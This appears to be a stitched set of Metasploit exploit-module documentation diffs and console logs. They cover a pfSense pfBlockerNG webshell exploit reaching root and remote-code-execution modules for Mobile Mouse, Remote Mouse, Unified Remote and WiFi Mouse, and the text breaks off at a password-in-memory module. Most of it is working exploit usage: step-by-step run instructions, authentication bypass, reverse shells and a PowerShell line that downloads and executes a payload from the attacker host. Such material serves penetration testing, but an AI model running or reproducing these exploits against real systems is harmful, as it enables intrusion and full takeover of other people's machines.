msf6 > use exploit/unix/http/pfsense_pfblockerng_webshell
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set RHOSTS 172.23.40.111
RHOSTS => 172.23.40.111
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set LHOST 172.23.47.143
LHOST => 172.23.47.143
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set LPORT 4453
LPORT => 4453
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set SRVPORT 8383
SRVPORT => 8383
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show options
Module options (exploit/unix/http/pfsense_pfblockerng_webshell):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.23.40.111 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
listen on all addresses.
SRVPORT 8383 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
WEBSHELL_NAME no The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unse
t.
Payload options (bsd/x64/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD /bin/sh yes The command string to execute
LHOST 172.23.47.143 yes The listen address (an interface may be specified)
LPORT 4453 yes The listen port
Exploit target:
Id Name
-- ----
1 BSD Dropper
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > run
[*] Started reverse TCP handler on 172.23.47.143:4453
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading shell...
[*] Webshell name is: zFOOjmPXX.php
[+] The target is vulnerable.
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
[*] Using URL: http://172.23.47.143:8383/ITtfiF
[*] Client 172.23.40.111 (curl/7.76.1) requested /ITtfiF
[*] Sending payload to 172.23.40.111 (curl/7.76.1)
[+] Deleted /usr/local/www/zFOOjmPXX.php
[*] Command shell session 1 opened (172.23.47.143:4453 -> 172.23.40.111:30301) at 2022-10-12 19:08:21 -0500
id
[*] Command Stager progress - 100.00% done (112/112 bytes)
[*] Server stopped.
uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense amd64
exit
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > set TARGET 0
TARGET => 0
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > show options
Module options (exploit/unix/http/pfsense_pfblockerng_webshell):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.23.40.111 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to
listen on all addresses.
SRVPORT 9933 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
WEBSHELL_NAME no The name of the uploaded webshell sans the ".php" ending. This value will be randomly generated if left unse
t.
Payload options (cmd/unix/reverse_openssl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.23.47.143 yes The listen address (an interface may be specified)
LPORT 4545 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(unix/http/pfsense_pfblockerng_webshell) > run
[*] Started reverse double SSL handler on 172.23.47.143:4545
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Uploading shell...
[*] Webshell name is: jIuhcpoe.php
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_openssl
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo XqZbye7zG7tGBVWc;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "XqZbye7zG7tGBVWc\n"
[*] Matching...
[*] A is input...
[+] Deleted /usr/local/www/jIuhcpoe.php
[*] Command shell session 2 opened (172.23.47.143:4545 -> 172.23.40.111:33941) at 2022-10-12 19:22:13 -0500
id
uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root
```
@@ -1,6 +1,6 @@
## Description
This module exploits a remote code execution vulnerability that exists in Exchange Reporter Plus <= 5310, caused by execution of bcp.exe file inside ADSHACluster servlet.
Additional information can be viewed on https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html
Additional information can be viewed on https://security.szurek.pl/en/manage-engine-exchange-reporter-plus-unauthenticated-rce/
## Verification Steps
[Exchange Reporter Plus 5216](https://mega.nz/#!XG5CTC5I!IuG91CbrcdcpQj4teYRiBWNwy9pULRkV69U3DQ6nCyU)
@@ -0,0 +1,96 @@
## Vulnerable Application
This module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol
to deploy a payload and run it from the server. This module will only deploy
a payload if the server is set without a password (default).
Tested against 3.6.0.4, current at the time of module writing
Version 3.6.0.4 can be downloaded from https://www.mobilemouse.com/downloads/setup.exe
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/mobile_mouse_rce`
4. Set `rhost` and `lhost` as required.
5. Do: `run`
6. You should get a shell as the user who is running Mobile Mouse.
## Options
### SLEEP
The length of time, in seconds, to sleep between each command. This gives the remote program time to process the command on screen.
Defaults to `3`, but can be a little touchy.
## Scenarios
### Mobile Mouse 3.6.0.4 on Windows 10
```
resource (mobile_mouse.rb)> use exploits/windows/misc/mobile_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (mobile_mouse.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (mobile_mouse.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (mobile_mouse.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/mobile_mouse_rce) > run
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:9099 - Client name set to: M6braOok6j
[*] 1.1.1.1:9099 - Connecting
[+] 1.1.1.1:9099 - Connected to hostname WIN10PROLICENSE with MAC address 00:0C:29:B3:68:3D
[*] 1.1.1.1:9099 - Opening Command Prompt
[*] 1.1.1.1:9099 - Sending stager
[*] 1.1.1.1:9099 - Using URL: http://2.2.2.2:8080/
[+] 1.1.1.1:9099 - Payload request received, sending 73802 bytes of payload for staging
[*] 1.1.1.1:9099 - Opening Command Prompt again
[+] 1.1.1.1:9099 - Payload request received, sending 73802 bytes of payload for staging
[*] 1.1.1.1:9099 - Executing payload
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 1.1.1.1
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:49696) at 2022-09-26 15:40:03 -0400
[*] 1.1.1.1:9099 - Server stopped.
[!] 1.1.1.1:9099 - This exploit may require manual cleanup of 'c:\Windows\Temp\gxYUnChTLrOuA.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Windows\Temp>whoami
whoami
win10prolicense\windows
C:\Windows\Temp>systeminfo
systeminfo
Host Name: WIN10PROLICENSE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
```
### Mobile Mouse 3.6.0.4 on Windows 10, with a password
This should fail as the exploit was not written to work with a password.
```
resource (mobile_mouse.rb)> use exploits/windows/misc/mobile_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (mobile_mouse.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (mobile_mouse.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (mobile_mouse.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/mobile_mouse_rce) > run
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] 1.1.1.1:9099 - Client name set to: baqpHBHh5Q
[*] 1.1.1.1:9099 - Connecting
[-] 1.1.1.1:9099 - Exploit aborted due to failure: no-access: Unable to connect, server response: Please enter a password
[*] Exploit completed, but no session was created.
```
@@ -0,0 +1,118 @@
## Vulnerable Application
This module utilizes the Remote Mouse Server by Emote Interactive protocol
to deploy a payload and run it from the server. This module will deploy
a payload regardless if server authentication is required.
Tested against 4.110, current at the time of module writing
Version 4.110 can be downloaded from https://www.remotemouse.net/downloads/RemoteMouse.exe
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/remote_mouse_rce`
4. Set `rhost` and `lhost` as required.
5. Do: `run`
6. You should get a shell as the user who is running Remote Mouse.
## Options
### SLEEP
The length of time, in seconds, to sleep between each command. This gives the remote program time to process the command on screen.
Defaults to `1`.
### PATH
The path where the payload should be downloaded/staged to. Defaults to `c:\\Windows\\Temp\\`.
## Scenarios
### Remote Mouse 4.110 on Windows 10
```
resource (remote_mouse.rb)> use exploits/windows/misc/remote_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (remote_mouse.rb)> set rhosts 192.168.2.95
rhosts => 192.168.2.95
resource (remote_mouse.rb)> set lhost 192.168.2.199
lhost => 192.168.2.199
resource (remote_mouse.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/remote_mouse_rce) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] 192.168.2.95:1978 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.2.95:1978 - The target appears to be vulnerable. Received handshake with version: 411
[*] 192.168.2.95:1978 - Connecting
[*] 192.168.2.95:1978 - Sending Windows key
[*] 192.168.2.95:1978 - Opening command prompt
[*] 192.168.2.95:1978 - Sending stager
[*] 192.168.2.95:1978 - Using URL: http://192.168.2.199:8080/
[+] 192.168.2.95:1978 - Payload request received, sending 73802 bytes of payload for staging
[+] 192.168.2.95:1978 - Payload request received, sending 73802 bytes of payload for staging
[*] 192.168.2.95:1978 - Executing payload
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.2.95
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.95:49962) at 2022-09-27 16:33:02 -0400
[*] 192.168.2.95:1978 - Server stopped.
[!] 192.168.2.95:1978 - This exploit may require manual cleanup of 'c:\Windows\Temp\NADYvmtxr.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Users\windows>whoami
whoami
win10prolicense\windows
C:\Users\windows>systeminfo
systeminfo
Host Name: WIN10PROLICENSE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
```
### Remote Mouse 4.110 on Windows 10, with a password
```
resource (remote_mouse.rb)> use exploits/windows/misc/remote_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (remote_mouse.rb)> set rhosts 192.168.2.95
rhosts => 192.168.2.95
resource (remote_mouse.rb)> set lhost 192.168.2.199
lhost => 192.168.2.199
resource (remote_mouse.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/remote_mouse_rce) > exploit
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] 192.168.2.95:1978 - Running automatic check ("set AutoCheck false" to disable)
[+] 192.168.2.95:1978 - The target appears to be vulnerable. Received handshake with version: 411
[*] 192.168.2.95:1978 - Connecting
[*] 192.168.2.95:1978 - Sending Windows key
[*] 192.168.2.95:1978 - Opening command prompt
[*] 192.168.2.95:1978 - Sending stager
[*] 192.168.2.95:1978 - Using URL: http://192.168.2.199:8080/
[+] 192.168.2.95:1978 - Payload request received, sending 73802 bytes of payload for staging
[+] 192.168.2.95:1978 - Payload request received, sending 73802 bytes of payload for staging
[*] 192.168.2.95:1978 - Executing payload
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.2.95
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.95:49975) at 2022-09-27 16:36:09 -0400
[*] 192.168.2.95:1978 - Server stopped.
[!] 192.168.2.95:1978 - This exploit may require manual cleanup of 'c:\Windows\Temp\86a4GsbpomvEgUS.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Users\windows>
```
@@ -0,0 +1,313 @@
## Vulnerable Application
This module utilizes the Unified Remote remote control protocol to type out and
deploy a payload. The remote control protocol can be configured to have no passwords,
a group password, or individual user accounts. If the web page is accessible, the
access control is set to no password for exploitation, then reverted.
If the web page is not accessible, exploitation will be tried blindly.
This module has been successfully tested against version 3.11.0.2483 (50) on Windows 10.
Version 3.11.0.2483 can be downloaded from
[unifiedremote.com](https://www.unifiedremote.com/static/builds/server/windows-x86/2483/ServerSetup-3.11.0.2483.exe)
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/unified_remote_rce`
4. Set `rhost` and `lhost` as required.
5. Do: `run`
6. You should get a shell.
## Options
### WEBSERVER
The port the web server is running on. Defaults to `9510`
### CLIENTNAME
The name of the client device to use. This shows up in the Unified Remote logs. If empty
A random android based name is chosen. Defaults to ``
### SLEEP
The length of time to sleep between each command, this gives the remote program time to process the command on screen.
Defaults to `1` second.
### PATH
This ONLY applies to the pull method. Where to temporarily store the payload. Defaults to `c:\\Windows\\Temp\\`
### VISIBLE
If set to `true`, uses a 'standard' method of typing to the screen. If set to `false`
utilizes a 'pro' feature of unified remote to execute a script in the background.
Defaults to `false`
## Scenarios
### Version 3.11.0.2483 on Windows 10, No authentication, visible false
```
resource (unified.rb)> use exploits/windows/misc/unified_remote_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (unified.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (unified.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (unified.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/unified_remote_rce) > run
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:9512 - Client name set to: android-ASvxWyO708Rv4x0j
[*] 2.2.2.2:9512 - Retrieving server config
[+] 2.2.2.2:9512 - No security enabled
[+] 2.2.2.2:9512 - Found account: admin
[+] 2.2.2.2:9512 - Found account: wheres
[*] 2.2.2.2:9512 - Sending handshake
[*] 2.2.2.2:9512 - Sending empty authentication
[*] 2.2.2.2:9512 - Using URL: http://1.1.1.1:8080/
[*] 2.2.2.2:9512 - Loading Unified.Command
[*] 2.2.2.2:9512 - Updating Unified.Command
[*] 2.2.2.2:9512 - Sending payload
[*] 2.2.2.2:9512 - Executing script
[+] 2.2.2.2:9512 - Payload request received, sending 73802 bytes of payload for staging
[+] 2.2.2.2:9512 - Payload request received, sending 73802 bytes of payload for staging
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 2.2.2.2
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:50052) at 2022-09-18 19:00:33 -0400
[*] 2.2.2.2:9512 - Server stopped.
[!] 2.2.2.2:9512 - This exploit may require manual cleanup of 'c:\Windows\Temp\U4culUYTuG.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\ProgramData\Unified Remote\Remotes\Bundled\Unified\Main\Command>
```
### Version 3.11.0.2483 on Windows 10, No authentication, visible true
```
resource (unified.rb)> use exploits/windows/misc/unified_remote_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (unified.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (unified.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (unified.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/unified_remote_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:9512 - Client name set to: android-s5IbpVuRf1MJzqRs
[*] 2.2.2.2:9512 - Retrieving server config
[+] 2.2.2.2:9512 - No security enabled
[+] 2.2.2.2:9512 - Found account: admin
[+] 2.2.2.2:9512 - Found account: wheres
[*] 2.2.2.2:9512 - Sending handshake
[*] 2.2.2.2:9512 - Sending empty authentication
[*] 2.2.2.2:9512 - Opening Start Menu
[*] 2.2.2.2:9512 - Opening command prompt
[*] 2.2.2.2:9512 - Typing out payload
[*] 2.2.2.2:9512 - Using URL: http://1.1.1.1:8080/
[*] 2.2.2.2:9512 - Attempting to open payload
[+] 2.2.2.2:9512 - Payload request received, sending 73802 bytes of payload for staging
[+] 2.2.2.2:9512 - Payload request received, sending 73802 bytes of payload for staging
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 2.2.2.2
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:59233) at 2022-09-08 16:47:20 -0400
[*] 2.2.2.2:9512 - Server stopped.
[!] 2.2.2.2:9512 - This exploit may require manual cleanup of 'c:\Windows\Temp\jhy5cTqRs.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Users\windows>whoami
whoami
win10prolicense\windows
C:\Users\windows>systeminfo
systeminfo
Host Name: WIN10PROLICENSE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
```
### Version 3.11.0.2483 on Windows 10, group authentication, visible true
```
resource (unified.rb)> use exploits/windows/misc/unified_remote_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (unified.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (unified.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (unified.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/unified_remote_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:9512 - Client name set to: android-ergZhp49nDBmGXz8
[*] 2.2.2.2:9512 - Retrieving server config
[*] 2.2.2.2:9512 - anonymous mode enabled, password required, bypassing
[*] 2.2.2.2:9512 - Uploading new server config
[*] 2.2.2.2:9512 - Sleeping 5 seconds for server to restart
[+] 2.2.2.2:9512 - Found account: admin
[+] 2.2.2.2:9512 - Found account: wheres
[*] 2.2.2.2:9512 - Sending handshake
[*] 2.2.2.2:9512 - Sending empty authentication
[*] 2.2.2.2:9512 - Opening Start Menu
[*] 2.2.2.2:9512 - Opening command prompt
[*] 2.2.2.2:9512 - Typing out payload
[*] 2.2.2.2:9512 - Using URL: http://1.1.1.1:8080/
[*] 2.2.2.2:9512 - Attempting to open payload
[+] 2.2.2.2:9512 - Payload request received, sending 73802 bytes of payload for staging
[+] 2.2.2.2:9512 - Payload request received, sending 73802 bytes of payload for staging
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 2.2.2.2
[*] 2.2.2.2:9512 - Reverting security mode
[*] 2.2.2.2:9512 - Uploading new server config
[*] 2.2.2.2:9512 - Sleeping 5 seconds for server to restart
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:59596) at 2022-09-08 16:50:21 -0400
[*] 2.2.2.2:9512 - Server stopped.
[!] 2.2.2.2:9512 - This exploit may require manual cleanup of 'c:\Windows\Temp\lqVUQTKtxuSD1mm.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Users\windows>
```
### Version 3.11.0.2483 on Windows 10, user authentication, visible true
```
resource (unified.rb)> use exploits/windows/misc/unified_remote_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (unified.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (unified.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (unified.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/unified_remote_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:9512 - Client name set to: android-Mmw9X2FSLLPzJk6t
[*] 2.2.2.2:9512 - Retrieving server config
[*] 2.2.2.2:9512 - users mode enabled, password required, bypassing
[*] 2.2.2.2:9512 - Uploading new server config
[*] 2.2.2.2:9512 - Sleeping 5 seconds for server to restart
[+] 2.2.2.2:9512 - Found account: admin
[+] 2.2.2.2:9512 - Found account: wheres
[*] 2.2.2.2:9512 - Sending handshake
[*] 2.2.2.2:9512 - Sending empty authentication
[*] 2.2.2.2:9512 - Opening Start Menu
[*] 2.2.2.2:9512 - Opening command prompt
[*] 2.2.2.2:9512 - Typing out payload
[*] 2.2.2.2:9512 - Using URL: http://1.1.1.1:8080/
[*] 2.2.2.2:9512 - Attempting to open payload
[+] 2.2.2.2:9512 - Payload request received, sending 73802 bytes of payload for staging
[+] 2.2.2.2:9512 - Payload request received, sending 73802 bytes of payload for staging
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 2.2.2.2
[*] 2.2.2.2:9512 - Reverting security mode
[*] 2.2.2.2:9512 - Uploading new server config
[*] 2.2.2.2:9512 - Sleeping 5 seconds for server to restart
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:59932) at 2022-09-08 16:53:05 -0400
[*] 2.2.2.2:9512 - Server stopped.
[!] 2.2.2.2:9512 - This exploit may require manual cleanup of 'c:\Windows\Temp\2NzuxPbY6fGK9FdNy.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Users\windows>
```
### Version 3.11.0.2483 on Windows 10, no authentication, no web server access, visible true
```
resource (unified.rb)> use exploits/windows/misc/unified_remote_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (unified.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (unified.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (unified.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/unified_remote_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:9512 - Client name set to: android-EIC1Bc3pwL4U4Pnj
[*] 2.2.2.2:9512 - Retrieving server config
[-] 2.2.2.2:9512 - Web interface is disabled. Unable to attempt bypass, assuming no authentication.
[*] 2.2.2.2:9512 - Sending handshake
[*] 2.2.2.2:9512 - Sending empty authentication
[*] 2.2.2.2:9512 - Opening Start Menu
[*] 2.2.2.2:9512 - Opening command prompt
[*] 2.2.2.2:9512 - Typing out payload
[*] 2.2.2.2:9512 - Using URL: http://1.1.1.1:8080/
[*] 2.2.2.2:9512 - Attempting to open payload
[+] 2.2.2.2:9512 - Payload request received, sending 73802 bytes of payload for staging
[+] 2.2.2.2:9512 - Payload request received, sending 73802 bytes of payload for staging
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 2.2.2.2
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:60829) at 2022-09-08 17:00:30 -0400
[*] 2.2.2.2:9512 - Server stopped.
[!] 2.2.2.2:9512 - This exploit may require manual cleanup of 'c:\Windows\Temp\QD7V9rLaWUwvPIY.exe' on the target
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Users\windows>
```
### Version 3.11.0.2483 on Windows 10, user authentication, no web server access, visible true
This will fail.
```
resource (unified.rb)> use exploits/windows/misc/unified_remote_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (unified.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (unified.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (unified.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/unified_remote_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:9512 - Client name set to: android-iJP3rW13dKjtf8Xz
[*] 2.2.2.2:9512 - Retrieving server config
[-] 2.2.2.2:9512 - Web interface is disabled. Unable to attempt bypass, assuming no authentication.
[*] 2.2.2.2:9512 - Sending handshake
[*] 2.2.2.2:9512 - Sending empty authentication
[*] 2.2.2.2:9512 - Opening Start Menu
[*] 2.2.2.2:9512 - Opening command prompt
[*] 2.2.2.2:9512 - Typing out payload
[*] 2.2.2.2:9512 - Using URL: http://1.1.1.1:8080/
[*] 2.2.2.2:9512 - Attempting to open payload
[*] 2.2.2.2:9512 - Server stopped.
[!] 2.2.2.2:9512 - This exploit may require manual cleanup of 'c:\Windows\Temp\tapEZnGskY.exe' on the target
[*] Exploit completed, but no session was created.
```
@@ -0,0 +1,143 @@
## Vulnerable Application
The WiFi Mouse (Mouse Server) from Necta LLC contains an auth bypass as the
authentication is implemented entirely on the client side. By utilizing this
vulnerability, it is possible to open a program on the server (cmd.exe
in our case) and type commands resulting in an RCE.
Versions 1.8.3.4 (current as of module writing) and before are vulnerable.
Version 1.8.3.4 can be downloaded from https://wifimouse.necta.us/apk/MouseServer.exe
at the time of writing.
Version 1.8.3.0 can be downloaded from https://wifimouse.necta.us/apk/MouseServer1.8.3.0.exe
Version 1.8.2.3 can be downloaded from [edb](https://www.exploit-db.com/apps/46b494c56615f48dd09065108d604762-MouseServer.exe) or from https://wifimouse.necta.us/apk/MouseServer1.8.2.3.exe
Version 1.7.8.5 can be downloaded from https://wifimouse.necta.us/apk/MouseServerLatest.exe
## Targets
### Stager
This is Metasploit's cmd stager, it has two flavors which can be changed through the advanced option
`CMDSTAGER::FLAVOR`.
1. `psh_invokewebrequest` (default) this one types the command and pulls back the payload nice and fast.
You should use it in almost all circumstances.
2. `certutil` typing of the payload appears on the user's screen, and is thus unreliable
(needs ~3.5min of solitude). If the user types anything or moves the focus to another window, exploit will fail.
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/wifi_mouse_rce`
4. Set `rhost` and `lhost` as required.
5. Do: `run`
6. You should get a shell as the user who is running Wifi Mouse (Mouse Server).
## Options
### SLEEP
The length of time, in seconds, to sleep between each command. This gives the remote program time to process the command on screen.
### LINEMAX
How long each line should be that is sent for processing. While the program
seems to be able to take ~2048, anything more than ~1020 seems to crash the program. 1000 - 1020 should be safe.
Defaults to `1020`.
## Scenarios
### Wifi Mouse (Mouse Server) 1.8.3.4 on Windows 10 using `psh_invokewebrequest` Stager
```
resource (mouse.rb)> use exploits/windows/misc/wifi_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (mouse.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (mouse.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (mouse.rb)> set verbose true
verbose => true
msf6 exploit(windows/misc/wifi_mouse_rce) > run
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:1978 - Opening command prompt
[*] 2.2.2.2:1978 - Typing out payload
[*] 2.2.2.2:1978 - Using URL: http://1.1.1.1:8080/qGn4ESH
[*] 2.2.2.2:1978 - Generated command stager: ["powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\\IDcEhcbA.exe http://1.1.1.1:8080/qGn4ESH & %TEMP%\\IDcEhcbA.exe & del %TEMP%\\IDcEhcbA.exe"]
[*] 2.2.2.2:1978 - Command Stager progress - 100.00% done (146/146 bytes)
[*] 2.2.2.2:1978 - Client 2.2.2.2 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.98) requested /qGn4ESH
[*] 2.2.2.2:1978 - Sending payload to 2.2.2.2 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.16299.98)
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 2.2.2.2
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:50211) at 2022-09-21 16:29:06 -0400
[*] 2.2.2.2:1978 - Server stopped.
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Windows\system32>whoami
whoami
win10prolicense\windows
C:\Windows\system32>systeminfo
systeminfo
Host Name: WIN10PROLICENSE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
```
### Wifi Mouse (Mouse Server) 1.8.2.3 on Windows 10 using `certutil` Stager
```
resource (mouse.rb)> use exploits/windows/misc/wifi_mouse_rce
[*] Using configured payload windows/shell/reverse_tcp
resource (mouse.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (mouse.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (mouse.rb)> set CMDSTAGER::FLAVOR certutil
CMDSTAGER::FLAVOR => certutil
msf6 exploit(windows/misc/wifi_mouse_rce) > set verbose false
verbose => false
msf6 exploit(windows/misc/wifi_mouse_rce) > run
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] 2.2.2.2:1978 - Opening command prompt
[*] 2.2.2.2:1978 - Typing out payload
[*] 2.2.2.2:1978 - Command Stager progress - 1.01% done (1019/100776 bytes)
[*] 2.2.2.2:1978 - Command Stager progress - 2.02% done (2038/100776 bytes)
[*] 2.2.2.2:1978 - Command Stager progress - 3.03% done (3057/100776 bytes)
...
[*] 2.2.2.2:1978 - Command Stager progress - 98.08% done (98843/100776 bytes)
[*] 2.2.2.2:1978 - Command Stager progress - 99.09% done (99862/100776 bytes)
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 2.2.2.2
[*] 2.2.2.2:1978 - Command Stager progress - 100.00% done (100776/100776 bytes)
[*] Command shell session 3 opened (1.1.1.1:4444 -> 2.2.2.2:50926) at 2022-09-04 15:11:29 -0400
Shell Banner:
Microsoft Windows [Version 10.0.16299.125]
-----
C:\Program Files (x86)\MouseServer.exe>whoami
whoami
win10prolicense\windows
C:\Program Files (x86)\MouseServer.exe>systeminfo
systeminfo
Host Name: WIN10PROLICENSE
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.16299 N/A Build 16299
```
@@ -0,0 +1,192 @@
## Vulnerable Application
This finds cleartext passwords in process memory by first locating
needles that are known to be found nearby.
This currently searches for passwords in `gnome-keyring-daemon`, `gdm-password`,
